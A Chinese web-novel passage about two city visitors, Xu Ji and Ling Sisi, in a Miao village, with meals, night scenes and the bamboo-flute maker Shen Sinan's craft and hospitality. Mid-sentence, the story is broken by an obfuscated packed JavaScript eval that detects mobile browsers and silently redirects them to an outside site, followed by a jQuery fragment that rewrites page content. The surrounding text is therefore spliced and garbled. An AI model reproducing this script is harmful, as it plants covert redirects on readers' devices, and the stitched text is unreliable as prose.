许祭和绫司司坐下，拿起筷子尝了一口酸汤鱼。鱼肉鲜嫩无比，裹着酸辣鲜香的汤汁入口，味蕾瞬间被唤醒，暖意从舌尖蔓延至全身，连带着身上的寒气都消散了不少。“太好吃了！”绫司司忍不住赞叹，“这酸汤的味道很特别，酸辣适中，一点都不腻。” “喜欢就多吃点，鱼还有很多。”妇人笑着给她夹了一块鱼肉，“这鱼是溪里刚捕的，新鲜得很。” 许祭也尝了一口糯米饭，糯米软糯香甜，带着淡淡的粽叶香气，和酸汤鱼搭配着吃，简直是绝配。“阿嫂的手艺真好，比城里餐馆做的还地道。”他真心实意地称赞道。 妇人被夸得有些不好意思，摆摆手：“都是家常做法，不值一提。你们远道而来，多吃点，吃饱了好休息。” 晚饭的氛围十分温馨，妇人偶尔会和他们聊起苗寨的生活，说些寨里的趣事，许祭和绫司司也听得津津有味。窗外的夜色越来越浓，萤火依旧闪烁，溪水潺潺流淌，屋内的炭火噼啪作响，饭菜的香气弥漫在空气中，构成一幅温暖而惬意的画面。 饭后，妇人收拾了碗筷，又给两人各端来一杯温水，叮嘱道：“夜里气温低，盖好被子，别着凉了。要是有什么需要，就喊我，我住在楼下。” “谢谢阿嫂，麻烦你了。”许祭和绫司司再次道谢。 回到楼上的房间，绫司司将门窗关好，然后走到木榻边，将被褥铺好。被褥很厚实，摸起来柔软舒适，带着阳光的味道。她坐在榻沿上，再次走到窗边，推开一条缝隙，望着窗外的夜景。溪水在月光下泛着粼粼波光，萤火在草丛中飞舞，远处的吊脚楼灯火点点，星空澄澈得像是被水洗过一般，星星密密麻麻地缀在黑色的天幕上，亮得刺眼，仿佛触手可及。 她想起白天在寨里的所见所闻，阿婆慈祥的笑容、竹编摊阿叔的热情、沈司南温和的模样，还有苗寨古朴的建筑、浓郁的烟火气息，一切都那么美好而难忘。她抬手摸了摸手腕上的红绳平安结，又低头看了看衣襟上的竹编香囊，心里暖暖的。这次来苗寨，真是一个正确的决定，远离了城市的喧嚣与浮躁，感受到了不一样的生活气息，也收获了满满的温暖与感动。 另一边，许祭回到房间后，并没有立刻休息。他坐在桌前，将白天沈司南送的竹哨拿了出来。哨身是翠绿色的，用竹料的边角料做成，只有拇指大小，上面刻着简单的流云纹，纹路深浅均匀，透着质朴的巧思。他指尖轻轻摩挲着哨身，触感细腻温润，还带着淡淡的竹香。 他想起白天和沈司南在廊下的交谈，沈司南说起竹笛制作工艺时的专注与专业，说起苗年习俗时的向往，都让他印象深刻。那个年轻人身上有着苗寨人特有的淳朴与踏实，还有对传统手艺的敬畏与热爱，这是在城市里很少能见到的品质。 许祭轻轻吹了一声竹哨，清脆明亮的声响在寂静的房间里回荡，又很快消散在窗外的虫鸣、流水声与远处隐约的篝火余烬噼啪声中。哨音很干净，带着山间草木的清润感，让人听了心里也变得澄澈起来。他又吹了几声，不同的音调组合在一起，竟也有几分简单的韵律。 吹了一会儿，他将竹哨放在桌上，起身走到窗边。推开木窗，晚风吹进屋内，带着溪水的湿润与草木的清香，让人精神一振。他望着窗外的夜景，溪水潺潺，萤火闪烁，星空璀璨，吊脚楼的灯火在夜色中静静燃烧。他想起白天阿婆说的苗年习俗，想起爬坡杆比赛的热闹场景，想起长桌宴的丰盛，心里不禁有些遗憾，没能赶上苗年，没能亲眼见识那样的热闹。 不过，这次的苗寨之行已经让他收获颇丰。他喜欢这里的安静与淳朴，喜欢这里的山水与烟火，喜欢这里的人和事。他拿出手机，想拍下这美好的夜景，却发现手机信号不太好，索性放下手机，静静地欣赏着眼前的一切。有时候，最美的风景，不需要用镜头记录，记在心里就好。 夜色渐深，苗寨彻底沉入了静谧。吊脚楼的灯火渐渐稀疏，只剩下几盏还在夜色中亮着，像是守护着苗寨的星辰。溪边的萤火依旧闪烁，虫鸣声也渐渐变得柔和，溪水潺潺流淌，像是在哼唱着温柔的摇篮曲。 绫司司躺在柔软的被褥里，听着窗外的虫鸣与流水声，鼻尖萦绕着竹编香囊的清香，很快便有了睡意。她嘴角带着浅浅的笑容，进入了甜美的梦乡，梦里或许是苗寨热闹的苗年，或许是山间烂漫的野花，或许是阿婆慈祥的笑容。 许祭也吹灭了桌上的油灯，躺在木榻上。屋内一片漆黑，只有月光从窗棂的缝隙里透进来，洒下淡淡的清辉。他闭上眼睛，感受着苗寨夜晚的宁静与祥和，心里格外踏实。白天的疲惫与喧嚣都渐渐消散，只剩下满心的安宁与惬意。 不知过了多久，许祭也渐渐睡着了。整个苗寨都沉浸在静谧的夜色中，只有溪水在静静流淌，萤火在轻轻飞舞，吊脚楼的木柱在夜色中矗立，像是沉默的守护者，守护着这片土地的安宁，也守护着异乡来客的安眠。 夜色如墨，却并不寒冷，因为有灯火，有暖意，有星光，有虫鸣，还有苗寨人最淳朴的热情与善意，将这个夜晚装点得格外温柔而美好。许祭和绫司司在这样的夜色中安然入睡，期待着明天的苗寨之行，能带来更多的惊喜与感动。而苗寨的夜，还在静静流淌，诉说着古老而动人的故事，等待着新的黎明，新的相遇。 夜色漫过苗寨的山峦时，沈司南刚将那截桂竹稳妥地放进晒谷场旁的竹棚。竹棚由粗实的楠竹搭建，顶上覆着层层叠叠的黑瓦，缝隙间还残留着些许枯黄的竹叶。棚内靠墙整齐码放着长短不一的竹料，都是他近年精心挑选、晾晒打磨过的，泛着温润的浅黄光泽，空气中弥漫着浓郁却不刺鼻的竹香，混着干燥的草木气息。 他借着最后一丝天光，从工具篮里取出细砂纸，蹲在竹料旁，指尖捏着砂纸的一角，顺着桂竹的纹理轻轻摩挲。白日里初步打磨过的竹身已颇为顺滑，但他依旧不肯放过任何细微瑕疵，尤其是竹节衔接处，更是反复擦拭，砂纸划过竹面的沙沙声，在渐浓的暮色里格外清晰，像是在与竹料进行着无声的对话。竹身的翠青色在天光下渐渐暗去，却愈发显得莹润有质感，指尖抚过之处，细腻无糙，带着竹料特有的微凉。 待竹料彻底处理妥当，沈司南起身拍了拍手上的竹屑，竹屑簌簌落在青石板上，与夜色融为一体。他从腰间摸出一串用竹片串成的钥匙，轻轻插入竹棚的木锁孔，转动时发出轻微的咔哒声。锁好门后，他转身往寨中自己的吊脚楼走去。 青石板路已被夜露浸得微凉，踩上去偶尔发出轻细的声响，像是夜的私语。沿途的吊脚楼次第亮起橘黄灯火，烛影透过雕花窗棂，在地上投下细碎的暖纹，像是谁在夜色里铺就的一串省略号。廊下悬挂的金黄玉米串、火红辣椒串在夜色中勾勒出模糊而饱满的轮廓，靛蓝蜡染布随着晚风轻轻晃动，边缘的流苏扫过木柱，带着淡淡的草木余温与阳光晾晒后的气息。 路过阿婆家门口时，木窗半掩着，里面传来阿婆与孙辈的闲谈声，软糯的苗语混着孩童清脆的嬉笑声，漫出木窗，落在巷间，添了几分烟火暖意。“司南，还没休息啊？”阿婆听见脚步声，掀帘探出头来，昏黄的灯光照亮她慈祥的脸庞，眼角的皱纹挤成一朵花。 “阿婆，刚把竹料收拾好。”沈司南停下脚步，颔首回应，月光洒在他的靛蓝布衫上，映出衣料上隐约的暗纹，“您也早点休息，夜里风凉。” “快回去吧，别冻着。”阿婆摆摆手，又叮嘱道，“那桂竹是后山向阳处长的好料，纤维紧实，可得好好做，别糟蹋了。”她这辈子见多了好竹料，也深知做竹活的不易，对每一段好竹都格外珍视。 “知道了阿婆，您放心。”沈司南应声，嘴角扬起一抹温和的笑，转身继续往前走。 他的吊脚楼在寨子中段，依山而建，木质的楼身在夜色中显得格外沉稳。吊脚楼共有两层，下层用粗壮的木柱支撑，悬空离地，既防潮又能通风，墙角还堆着一些干燥的柴火。上层便是居住的地方，门楣上挂着一串风干的艾草，散发着淡淡的清香，用来驱虫防潮。 推开吱呀作响的木门，屋内陈设简洁却整齐。堂屋中央摆着一张老旧的木工桌，桌面被岁月磨得光滑发亮，边缘还留着些许刻刀划过的痕迹，那是多年来制作竹器留下的印记。桌上整齐摆放着刨子、凿子、刻刀、钻头等工具，每一件都被擦拭得发亮，透着主人对它们的爱惜。墙角堆着几捆晒干的艾草和薄荷，还有一些已经初步加工好的竹丝、竹片，分类码放得整整齐齐。 沈司南走到桌前，点燃了桌上的油灯。昏黄的光晕瞬间铺满房间，将他的影子拉得很长，投在斑驳的木墙上，随着灯火的摇曳轻轻晃动。他没有立刻休息，而是从墙角拖出一个木盆，往里面倒了些从灶台旁提来的温水。白日里与竹料打交道，指尖沾着细碎的竹屑，指腹的薄茧被竹丝磨得有些发痒，甚至还有几处细小的划痕，温水漫过双手，带着淡淡的暖意，舒缓了整日的疲惫。 他将双手浸入水中，轻轻揉搓，竹屑随着水流沉淀在盆底。洗了好一会儿，直到指尖的竹香渐渐淡去，手上的皮肤变得柔软，他才拿起搭在盆边的粗布毛巾，将手擦干。毛巾也是苗家自制的，吸水性极好，带着淡淡的皂角香。 擦干手后，沈司南走到木工桌前，从抽屉里取出一个陈旧的木盒。木盒是老匠人临终前传给她的，上面刻着简单的缠枝莲纹，边缘已经有些磨损。他轻轻打开木盒，里面铺着一层柔软的绒布，绒布上放着一张泛黄的纸，纸上画着竹笛的图样，线条简洁却精准，每一个孔位的距离、竹笛的长度、竹节的分布都标注得清清楚楚，这是当年老匠人亲手画给他的，陪伴了他十几年。 他将图样小心翼翼地铺在桌上，借着油灯的微光，仔细端详着，指尖在纸上的竹笛孔位处轻轻点划，在心里盘算着明日的制作步骤。老匠人说过，竹笛的孔位偏差哪怕只有毫厘，音色都会天差地别，半点马虎不得。他想起小时候跟着老匠人学做竹笛的日子，老匠人总是一边示范，一边念叨：“做竹活，要懂竹性，更要沉下心，心不静，做不出好东西。”这句话，他一直记在心里，刻在骨子里。 想着想着，他拿起桌上的一段边角竹料，又随手拿起一把小巧的刻刀。指尖转动竹料，刻刀在竹面上轻轻游走，刀刃与竹料接触的瞬间，发出轻微的簌簌声。他的动作娴熟而专注，眼神在油灯的映照下格外清亮，仿佛整个世界只剩下手中的竹料与刻刀。没过多久，一个小巧的流云纹便在竹面上渐渐成型，纹路深浅均匀，线条流畅自然，透着质朴的巧思。 刻完后，他将竹料放在鼻尖轻嗅，淡淡的竹香混着刻刀划过木质的清香，让人心里安定。他把这段刻好的竹料放在桌边，这是他的习惯，每次做竹活前，都会先刻些小纹样练手，让自己的心彻底静下来。 不知过了多久，屋外传来几声犬吠，随即又归于寂静。沈司南放下刻刀，揉了揉有些酸胀的眼睛，抬头望向窗外。月色正好，银辉透过木格窗洒进来，落在地上，形成斑驳的光影。溪边的草丛里缀着点点萤火，忽明忽暗，像散落的星子在晚风里轻轻晃动，偶尔有几只萤火虫顺着晚风飘到窗棂边，盘旋片刻，又慢悠悠地飞走，留下一道淡淡的光痕。 他起身推开木窗，晚风吹进屋内，带着溪水的湿润与草木的清香，拂动他额前的碎发。远处的山峦被夜色笼罩，只剩下朦胧的剪影，吊脚楼的灯火星星点点地分布在山间，像夜空中的繁星，温暖而静谧。溪水潺潺流淌，声音轻柔，与远处隐约传来的虫鸣交织在一起，构成一曲温柔的夜曲。 沈司南倚在窗棂边，从口袋里摸出一枚小小的竹哨，与白天送给许祭的那枚一模一样，上面也刻着简单的流云纹。这是他今天下午趁着打磨竹料的间隙做的，用的是同一根桂竹的边角料。他放在唇边轻轻吹了一声，清脆明亮的声响在寂静的夜色中回荡，又很快消散在晚风里，带着山间草木的清润感。 他想起白天在吊脚楼廊下与许祭的交谈，那个年轻人温和有礼，眼神清澈，对苗寨的手艺与习俗充满好奇，没有丝毫城市人的浮躁，倒有几分老匠人说的“沉心静气”。还有那个叫绫司司的姑娘，笑起来眼睛弯成月牙，对什么都充满新鲜感，像极了小时候的自己，总爱跟在老匠人身后，问东问西，对一切都充满好奇。 “或许，他们真能感受到苗寨的好。”沈司南在心里想着，嘴角不自觉扬起浅浅的弧度。他见过太多来苗寨匆匆一瞥的游客，大多只是为了拍照打卡，很少有人愿意静下心来，听一听老手艺的故事，感受苗寨的烟火气息。而许祭和绫司司，却不一样，他们愿意坐下来听阿婆讲绣花、染布的手艺，愿意了解竹编的不易，这份真诚与尊重，让他心生好感。 他又吹了几声竹哨，不同的音调组合在一起，竟也有几分简单的韵律，与远处的虫鸣、流水声相映成趣。月光洒在他的脸上，柔和了他的轮廓，眼神里带着几分对未来的期许，也带着几分对传统手艺的坚守。他知道，像竹笛制作这样的老手艺，如今愿意学的年轻人越来越少，但他不想让它在自己手里断了传承，哪怕只有一个人愿意听、愿意了解，他也会一直做下去。 晚风渐凉，带着溪水的寒气，沈司南关上木窗，转身走到里屋。里屋的陈设更为简单，一张木质的单人榻靠在墙边，铺着干净的粗布床单，上面叠着一床厚实的棉被，被子是阿婆去年给他做的，用的是自家种的棉花，缝着简单的菱形花纹，散发着阳光晾晒后的清香。榻边放着一个小小的竹制床头柜，上面摆着一个粗陶水杯和一本翻旧了的竹艺图谱。 他吹灭油灯，屋内瞬间陷入一片漆黑，只有月光从窗棂的缝隙里透进来，洒下淡淡的清辉，勉强能看清屋内的轮廓。他躺在榻上，盖上厚实的棉被，暖意很快包裹住身体。闭上眼睛，耳边还能听到溪水潺潺流淌的声音，虫鸣也渐渐变得柔和，像是温柔的摇篮曲。 白日里打磨竹料的疲惫、与许祭交谈的投契、对竹笛成品的期待、对老手艺传承的思索，都渐渐交织在一起，化作一种安宁而踏实的情绪，包裹着他。他想起老匠人教他烤竹的场景，炭火的温度、竹料的香气、老匠人的叮嘱，一幕幕在脑海中浮现，清晰得仿佛就在昨天。 不知过了多久，沈司南渐渐睡着了。他的呼吸变得平稳而深沉，眉头微微舒展，像是在梦中也遇到了顺心的事。或许，他梦到了老匠人笑着夸赞他的竹笛做得好；或许，他梦到了竹笛制成后，在晒谷场上吹奏，清亮的音色引来寨里人的喝彩；或许，他梦到了有年轻人愿意跟着他学做竹活，老手艺得以传承下去。 他的吊脚楼静静矗立在夜色中，与其他吊脚楼的灯火遥相呼应。竹棚里的桂竹在夜色中静静呼吸，吸收着苗寨夜晚的清润气息，等待着明日被赋予新的生命。寨里的犬吠声渐渐消失，虫鸣也变得稀疏，只有溪水还在不知疲倦地流淌，像是在诉说着苗寨古老而动人的故事。 夜色如墨，却并不寒冷，因为有灯火，有暖意，有星光，有虫鸣，还有像沈司南这样坚守着传统手艺的人，用匠心守护着这片土地的安宁与诗意。苗寨的夜依旧宁静而温柔，沈司南在这样的夜色中安然入睡，等待着新的黎明，等待着与那截桂竹继续对话，将它打磨成一支音色清亮的竹笛，也将苗寨的故事与匠心，藏在每一个音符里。 晨雾像一层轻薄的纱幔，笼罩着整个苗寨，将青黛色的山峦、错落的吊脚楼都晕染成朦胧的剪影。天刚蒙蒙亮，微光从雾霭中透出来，温柔地洒在湿润的青石板路上，路面沾着细密的晨露，踩上去湿漉漉的，泛着微凉的水光，每一步都带着轻细的吱呀声，像是在唤醒沉睡的苗寨。 许祭轻手轻脚推开寄宿吊脚楼的木门，门轴转动时发出轻微的声响，生怕惊扰了还在熟睡的绫司司。他穿着一件浅灰色的薄外套，手腕上的蓝绳平安结随着动作轻轻晃动，末端的短线头沾了点晨露，微微湿润。想着昨日苗寨的清晨景致未能细看，又惦记着给绫司司带一份地道的苗家早饭，他便打算独自先去寨口逛逛，顺便寻觅些特色小吃。 走出吊脚楼，晨雾中的苗寨别有一番韵味。两旁的吊脚楼还沉浸在静谧中，木质的楼身在雾中显得格外温润，黑瓦上凝结着细密的水珠，偶尔有几滴顺着瓦檐滴落，砸在廊下的青石板上，发出清脆的叮咚声。木窗大多还紧闭着，只有零星几扇吱呀推开，探出几张带着睡意的脸庞，见了许祭这个异乡人，便笑着颔首问好，眼神里满是淳朴的善意。 空气中弥漫着复杂而清新的气息，有山间草木的湿润清香，有吊脚楼里飘出的淡淡腊肉脂香，还有远处炊烟混合着柴火的味道，交织成苗寨清晨特有的烟火气息，深吸一口，让人神清气爽。沿途的竹编篱笆上爬着些许不知名的藤蔓，叶片上缀满了晨露，像是撒了一层碎钻，在微光中闪烁着晶莹的光。廊下悬挂的金黄玉米串、火红辣椒串在雾中勾勒出模糊的轮廓，靛蓝蜡染布随着微风轻轻晃动，带着淡淡的草木余温。 许祭沿着青石板路慢慢往前走，脚步放得很轻，生怕打破这份清晨的宁静。偶尔能听到巷深处传来几声鸡鸣，清脆的啼叫声穿透雾霭，回荡在寨中，像是在宣告新一天的开始。还有村民们隐约的交谈声，软糯的苗语混着普通话，断断续续传来，虽听不真切，却让人感受到一种踏实的生活气息。 转过一道竹编篱笆，前方豁然开朗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037588|194640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，是寨里的晒谷场。晒谷场的地面用石板铺就，中央还残留着些许去年晾晒的谷壳痕迹。晒谷场旁矗立着一座简陋的竹棚，由粗实的楠竹搭建而成，顶上覆着黑瓦，缝隙间还残留着枯黄的竹叶。此时，竹棚的木门正被轻轻推开，一个熟悉的身影从里面走了出来。 是沈司南。 他依旧穿着那件靛蓝布衫，衣襟上沾着几点不易察觉的竹屑，袖口挽至小臂，露出的手腕上，阿婆系的蓝绳平安结与许祭的同款，在微光中泛着淡淡的光泽。他的头发有些微湿，想必是沾了晨雾的水汽，额前的碎发贴在额头上，更显清俊。晨光透过雾霭洒在他身上，将他的轮廓染得柔和，竹棚旁整齐码放的竹料在雾中泛着温润的浅光。 沈司南显然也没想到会在这里遇到许祭，愣了一下，随即脸上扬起一抹温和的笑，抬手打招呼：“早。”声音带着清晨特有的清亮，像是被晨露滋润过一般。 “早，沈兄。”许祭也笑着回应，加快脚步走了过去。走近时才发现，沈司南手里还提着一个小巧的竹篮，竹篮是细密的竹编工艺，上面刻着简单的流云纹，与他送的竹哨纹样相似。竹篮里装着几样新鲜的蔬菜，有翠绿的青菜、带着泥土气息的萝卜，还有一小捆嫩绿的艾草，叶片上沾着晨露，散发着淡淡的清香。 “沈兄这是刚从菜园回来？”许祭目光落在竹篮上，好奇地问道。 “嗯，”沈司南晃了晃手中的竹篮，语气自然，“家后面有块小菜园，种了些家常蔬菜，刚去摘了点，准备做早饭。”他的目光在许祭身上扫过，见他独自一人，便又问道，“你这是要去买早饭？” 许祭点头，笑着说道：“是啊，想着寨口应该有卖早饭的，打算买些糯米饭、豆浆之类的，给绫司司也带一份，让她尝尝苗家的特色。” “别去了。”沈司南当即说道，语气真诚，没有丝毫客套，“我家正好煮了苗家的油茶，还蒸了糯米粑粑和腊肉，分量够两个人吃。你回去喊上绫姑娘，来我家一起吃吧，也让你们尝尝地道的苗家清晨家常味道，比寨口买的要实在。” 许祭有些意外，他没想到沈司南会这么热情，愣了一下才反应过来，连忙摆手：“这会不会太麻烦你了？我们还是自己去买就好，不打扰你了。” “不麻烦，都是现成的。”沈司南摆了摆手，语气笃定，“油茶是今早特意多煮的，糯米粑粑也是刚蒸出来的，还热着呢。阿婆昨天还念叨你们，说该让你们尝尝地道的苗家油茶，别错过了好味道。”他顿了顿，又补充道，“而且寨口的早饭大多是卖给游客的，味道不如家里做的地道，你们好不容易来一次苗寨，总得尝尝最正宗的家常味。” 说着，沈司南转身指了指前方的巷路：“我家就在前面不远，走几分钟就到了。跟我来吧，别客气。”他的眼神真诚，带着不容拒绝的热情，让许祭实在不好再推辞。 “那好吧，那就麻烦沈兄了。”许祭笑着道谢，心里满是暖意。他能感受到沈司南的真诚，没有丝毫虚伪的客套，这份淳朴的热情让他心里格外踏实。 “不用客气。”沈司南笑了笑，提着竹篮走在前面引路，“你先在这里等我一下，我把竹篮送回家，再过来带你和绫姑娘过去？还是你现在回去喊绫姑娘，我们在前面路口汇合？” “我现在回去喊她吧，”许祭说道，“正好也不远，我们很快就过来。你告诉我具体位置，我们到了给你说一声。” “好。”沈司南点头，指了指前方的巷路，“沿着这条巷一直走，走到尽头右转，看到挂着两串红辣椒的吊脚楼就是我家了。我先回去把饭菜热一热，你们过来了直接敲门就行。” “好，我们很快就到。”许祭应声说道。 沈司南颔首，提着竹篮转身往家的方向走去。晨雾中，他的身影渐渐远去，靛蓝的布衫在雾中若隐若现，竹篮里的艾草清香偶尔飘过来，沁人心脾。许祭望着他的背影，心里不禁生出几分好感，沈司南的淳朴、热情，还有那份对生活的踏实态度，都让他觉得格外亲切。 转身往寄宿的吊脚楼走去，许祭的脚步比来时轻快了许多。晨雾渐渐散去了一些，微光变得更加明亮，照在青石板路上，反射出淡淡的光泽。沿途的吊脚楼越来越热闹，更多的木窗被推开，村民们开始了一天的生活，有的在廊下梳头，有的在劈柴，有的在准备早饭，空气中的烟火气息也愈发浓郁。 回到吊脚楼时，绫司司已经醒了，正坐在窗边整理头发。她的长发披散在肩头，带着些许起床后的微乱，几缕碎发垂在鬓边，被晨光染成淡淡的金色。见许祭回来，她抬起头，眼里带着几分睡意，笑着问道：“你回来啦？早饭买好了吗？” “还没呢。”许祭走进房间，笑着说道，“刚才在晒谷场遇到沈司南了，他邀请我们去他家吃早饭，说煮了地道的苗家油茶和糯米粑粑，让我们尝尝家常味道。” “沈司南？”绫司司有些意外，随即眼睛亮了亮，“就是昨天给你竹哨的那个沈先生？” “对，就是他。”许祭点头，“他说家里的饭菜比寨口买的地道，还说阿婆昨天也念叨着让我们尝尝油茶，盛情难却，我就答应了。你收拾一下，我们现在过去？” “好啊！”绫司司欣然应允，脸上满是期待，“我正想尝尝地道的苗家油茶呢，昨天听阿婆提起过，说特别好喝。”她连忙起身，快速整理好头发，用木簪束起，又简单洗漱了一下，便跟着许祭往外走。 两人沿着沈司南指引的巷路走去，晨雾已经散去了大半，阳光穿透云层，洒在苗寨的每一个角落。青石板路被阳光晒得渐渐干燥，泛着温润的光泽。两旁的吊脚楼在阳光下显得格外清晰，黑瓦、木柱、雕花窗棂，都透着古朴的韵味。廊下悬挂的玉米串、红辣椒串在阳光下格外鲜艳，靛蓝蜡染布随风轻晃，像是在跳着温柔的舞蹈。 沿途遇到不少村民，他们大多穿着苗家特色的衣裳，见了许祭和绫司司，都笑着颔首问好，眼神里满是善意。绫司司也笑着回应，心里满是欢喜，她喜欢这种淳朴的氛围，没有城市里的疏离与冷漠，每个人都带着真诚的笑容。 “你看，前面那个挂着两串红辣椒的吊脚楼，应该就是沈司南家了。”许祭指着前方说道。 绫司司顺着他指的方向望去，果然看到一座依山而建的吊脚楼，门楣上挂着两串火红的辣椒，格外显眼。吊脚楼的木质楼身在阳光下泛着温润的光泽，门扉半掩着，能看到里面的庭院铺着青石板，种着几株不知名的花草，开着鲜艳的花朵。 “应该就是这里了。”许祭走上前，轻轻敲了敲木门。 “进来吧！”门内传来沈司南的声音。 许祭推开门，带着绫司司走了进去。庭院不大，却收拾得干净整洁，青石板地面扫得一尘不染，墙角种着几株月季和绣球花，开得正盛，散发着淡淡的花香。庭院中央摆着一张石桌和几把石凳，石桌上还放着一个竹篮，里面装着些新鲜的水果。 沈司南正从厨房里走出来，手上拿着两个粗陶碗，见他们进来，笑着说道：“来啦，快坐。油茶马上就好，我再炒个青菜就可以开饭了。” “麻烦你了，沈先生。”绫司司笑着道谢，目光好奇地打量着庭院的景致，脸上满是新鲜。 “不用客气，随便坐。”沈司南摆摆手，将碗放在石桌上，“你们先坐着歇会儿，喝点水，我去厨房看看。” 说着，沈司南转身走进了厨房。厨房就在庭院的一侧，是一间独立的小木屋，屋顶炊烟袅袅，里面传来轻微的炒菜声和油茶的香气。 许祭和绫司司在石凳上坐下，石凳带着微凉的触感，却很结实。绫司司抬手摸了摸手腕上的红绳平安结，笑着对许祭说：“沈先生人真好，这么热情，还特意邀请我们来家里吃饭。” “是啊，”许祭点头附和，“他身上有种苗家人特有的淳朴和踏实，让人觉得很亲切。” 两人闲聊着，目光不自觉地打量着周围的景致。沈司南的吊脚楼虽然不算豪华，却处处透着精致与用心。木墙上挂着几幅苗家蜡染画，画的是山水风光和苗寨生活场景，色彩浓郁，充满了生活气息。廊下摆放着几个竹编花盆，里面种着些绿植，叶片翠绿，生机勃勃。还有一些竹制的小摆件，像是竹笛、竹哨、竹编小动物等，都做得十分精巧，透着主人的匠心。 没过多久，沈司南便从厨房里走了出来，手上端着一个大大的粗陶盆，里面装着热气腾腾的油茶。油茶的颜色呈深褐色，表面漂浮着些许葱花和油渣，浓郁的香气瞬间弥漫开来，带着茶叶的清香、油脂的醇厚和香料的独特味道，让人食指大动。 “油茶来啦！”沈司南将陶盆放在石桌上，又转身走进厨房，陆续端出几样菜。有一盘金黄的腊肉，肥瘦相间，散发着浓郁的肉香；有一盘蒸得软糯的糯米粑粑，上面撒着些许桂花，散发着清甜的香气；还有一盘清炒青菜，翠绿欲滴，看着就很有食欲。最后，他还端出一碟腌制的萝卜干，色泽鲜红，透着酸辣的香气。 “快尝尝，看看合不合你们的口味。”沈司南笑着说道，给许祭和绫司司各盛了一碗油茶。 许祭接过油茶，指尖触到陶碗的温热，一股暖意顺着指尖蔓延开来。他吹了吹，轻轻喝了一口，油茶的味道醇厚而复杂，先是茶叶的微苦，然后是油脂的香浓，最后是香料的回甘，口感丰富，让人回味无穷。“太好喝了！”许祭忍不住赞叹，“比我想象中还要美味，味道很特别。” 绫司司也喝了一口，眼睛瞬间亮了起来：“真的好好喝！口感很丰富，又香又醇，一点都不腻。”她又拿起一个糯米粑粑，咬了一口，软糯的糯米裹着清甜的桂花蜜，口感绵密，与油茶搭配着吃，简直是绝配。“这个糯米粑粑也超级好吃！” “喜欢就多吃点，不够还有。”沈司南见他们喜欢，脸上露出欣慰的笑容，自己也盛了一碗油茶，慢慢喝着。 三人围坐在石桌旁，一边吃饭，一边闲聊。沈司南给他们讲了油茶的做法，说油茶是苗家清晨必备的食物，用茶叶、茶油、大米、花生、芝麻等原料，经过炒制、研磨、熬煮等多道工序制成，既能解渴，又能饱腹，还能驱寒祛湿。他还说，苗家人招待贵客，都会煮一碗地道的油茶，这是最高的礼遇。 “原来油茶的做法这么复杂。”绫司司感叹道，“难怪味道这么特别，都是功夫活。” “是啊，”沈司南点头，“做油茶很费时间，要提前准备好各种原料，尤其是茶叶，要选用后山的野茶叶，味道才正宗。”他顿了顿，又说道，“不过我们苗家人都很喜欢喝，每天早上煮一碗，一整天都精神饱满。” 许祭想起昨天沈司南说的竹笛制作，便问道：“沈兄，你今天打算开始做那支竹笛了吗？” “嗯，”沈司南点头，“早饭吃完就去竹棚，先把竹料再精细打磨一下，然后就开始钻孔、调音。争取尽快做好，让你们听听音色。” “太好了！”绫司司兴奋地说道，“我们正好可以去看看竹笛的制作过程吗？我一直很好奇，这么精美的竹笛是怎么一步步做出来的。” “当然可以。”沈司南笑着应允，“等吃完饭，我带你们去竹棚看看，正好也让你们了解一下竹笛的制作工艺。” “那太感谢你了！”绫司司满心欢喜，吃饭的速度都快了几分。 沈司南又给他们讲了苗寨的一些习俗和趣事，说苗家人大多以农耕和手工艺为生，每个人都有自己擅长的手艺，比如竹编、蜡染、绣花等。他还说，苗寨的年轻人大多外出打工了，留在寨里的大多是老人和孩子，像他这样坚守传统手艺的年轻人已经不多了。 “那你为什么愿意留在寨里，做竹笛这种传统手艺呢？”许祭好奇地问道。 沈司南放下手中的碗，目光望向远处的山峦，眼神里带着几分悠远：“我从小就跟着老匠人学做竹笛，对这门手艺有很深的感情。老匠人临终前嘱咐我，一定要把这门手艺传承下去，不能让它在我们这一代断了。而且，我也喜欢苗寨的生活，安静、踏实，每天和竹料打交道，虽然辛苦，却很充实。”他顿了顿，又说道，“我相信，总有一天，会有更多的人喜欢上这些传统手艺，它们是我们苗家文化的瑰宝，不能丢。” 许祭和绫司司听了，心里都有些感动。他们敬佩沈司南的坚守，在这个快节奏的时代，能静下心来，坚守一门传统手艺，确实不容易。 “沈先生，你真了不起。”绫司司真诚地说道，“我觉得这些传统手艺都很有意义，不仅精美，还承载着民族的文化和历史，应该被好好传承下去。” “谢谢你的理解。”沈司南笑了笑，眼神里带着几分欣慰，“很少有人能理解我，大多觉得做这些没前途，赚不到钱。但我觉得，有些东西比金钱更重要，比如文化的传承，比如内心的热爱。” 三人聊得投机，饭菜也渐渐吃完了。沈司南收拾了碗筷，对许祭和绫司司说：“走吧，我带你们去竹棚看看。” 许祭和绫司司欣然应允，跟着沈司南走出庭院，往晒谷场旁的竹棚走去。此时，晨雾已经完全散去，阳光明媚，洒在苗寨的每一个角落。青石板路上，村民们来来往往，有的背着竹篮去山上采草药，有的提着水桶去溪边挑水，有的在廊下做着针线活，一派生机勃勃的景象。 沿途的风景依旧美丽，吊脚楼、青石板路、竹编篱笆、鲜艳的花草，还有村民们淳朴的笑容，都让许祭和绫司司心生欢喜。他们一边走，一边拍照留念，想要把这美好的瞬间永远记录下来。 很快，他们便来到了晒谷场旁的竹棚。沈司南打开竹棚的木门，一股浓郁的竹香扑面而来，夹杂着淡淡的木屑味。竹棚里整齐码放着长短不一的竹料，都经过晾晒打磨，泛着温润的光泽。中央摆放着一张木工桌，桌上整齐摆放着刨子、凿子、刻刀、钻头等工具，每一件都被擦拭得发亮。 “这里就是我做竹笛的地方。”沈司南介绍道，指着那截桂竹，“你们看，就是这截竹料，昨天已经初步打磨过了，今天再精细打磨一下，就可以开始钻孔了。” 